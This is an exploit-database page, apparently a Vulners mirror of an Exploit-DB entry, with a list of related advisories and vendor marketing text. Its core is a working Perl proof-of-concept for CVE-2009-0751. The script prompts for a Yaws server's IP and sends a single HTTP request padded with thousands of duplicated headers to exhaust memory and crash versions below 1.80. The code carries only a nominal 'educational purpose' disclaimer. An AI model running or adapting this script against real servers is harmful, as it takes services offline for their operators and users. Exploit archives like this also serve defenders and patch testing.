Lucene search
K

Yaws < 1.80 - Multiple Headers Remote Denial of Service Vulnerabilities

🗓️ 03 Mar 2009 00:00:00Reported by Praveen DarshanamType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

Yaws < 1.80 Multiple Headers Remote Denial of Service Vulnerabilitie

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Yaws < 1.80 (multiple headers) Remote Denial of Service Exploit
3 Mar 200900:00
zdt
Circl
CVE-2009-0751
3 Mar 200900:00
circl
CVE
CVE-2009-0751
2 Mar 200922:00
cve
Cvelist
CVE-2009-0751
2 Mar 200922:00
cvelist
Debian
[SECURITY] [DSA 1740-1] New yaws packages fix denial of service
14 Mar 200904:07
debian
Debian CVE
CVE-2009-0751
2 Mar 200922:00
debiancve
Tenable Nessus
Debian DSA-1740-1 : yaws - denial of service
16 Mar 200900:00
nessus
exploitpack
Yaws 1.80 - Multiple Headers Remote Denial of Service Vulnerabilities
3 Mar 200900:00
exploitpack
NVD
CVE-2009-0751
2 Mar 200922:30
nvd
OpenVAS
Debian: Security Advisory (DSA-1740-1)
19 Mar 200900:00
openvas
Rows per page
#!usr/bin/perl -w

#######################################################################################
#   Yaws before 1.80 allows remote attackers to cause a denial of service (memory
#   consumption and crash) via a request with a large number of headers.
#   Refer:
#        http://yaws.hyber.org/
#        https://www.securityfocus.com/bid/33834/discuss
#        http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0751
#
#$$$$$This was strictly written for educational purpose. Use it at your own risk.$$$$$
#$$$$$Author will not bare any responsibility for any damages watsoever.$$$$$$$$$$$$$$
#
#        Author:    Praveen Dar$hanam
#        Email:     praveen[underscore]recker[at]sify.com
#        Blog:       http://www.darshanams.blogspot.com/
#        Date:      03rd March, 2009
#        Site:       http://www.evilfingers.com/
#
###Thanx to str0ke, milw0rm, Manuel Duran Aguete, @rp m@n, and all the Security Folks###
########################################################################################

use IO::Socket;

print("\nEnter IP Address of Yaws Server(not domain): \n");
$vuln_host_ip = <STDIN>;
chomp($vuln_host_ip);
$port = 80;

$sock_http = IO::Socket::INET->new(  PeerAddr => $vuln_host_ip,
                                     PeerPort => $port,
                                     Proto    => 'tcp') || "Unable to create HTTP Socket";


$headers="Date: Tue, 03 Mar 2009 15:17:53 GMT\r\n".
"Accept-Ranges: bytes\r\n".
"Content-Language: en\r\n".
"Content-Type: text/html; charset=utf-8\r\n".
"Expires: Thu, 05 Mar 2009 15:17:53 GMT\r\n".
"Cache-Control: no-cache\r\n".
"Content-Encoding: gzip\r\n".
"Retry-After: 100\r\n";
print "\nHeaders are:\n$headers";

$i=0;
while($i<=13)    #this is just a PoC
{
$headers=$headers.$headers;
$i++;
}
print "\nHeaders are:\n$headers";
$yaws_attack = "GET / HTTP/1.1\r\n".
"Host: $vuln_host_ip:$port\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
$headers.
"Keep-Alive: 300\r\n".
"Connection: keep-alive\r\n".
"\r\n";
sleep(3);
print $sock_http $yaws_attack;
sleep(2);
print"\nRequest with large number of Headers sent...\n";

close($sock_http);

# milw0rm.com [2009-03-03]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Mar 2009 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 25
EPSS0.19531
33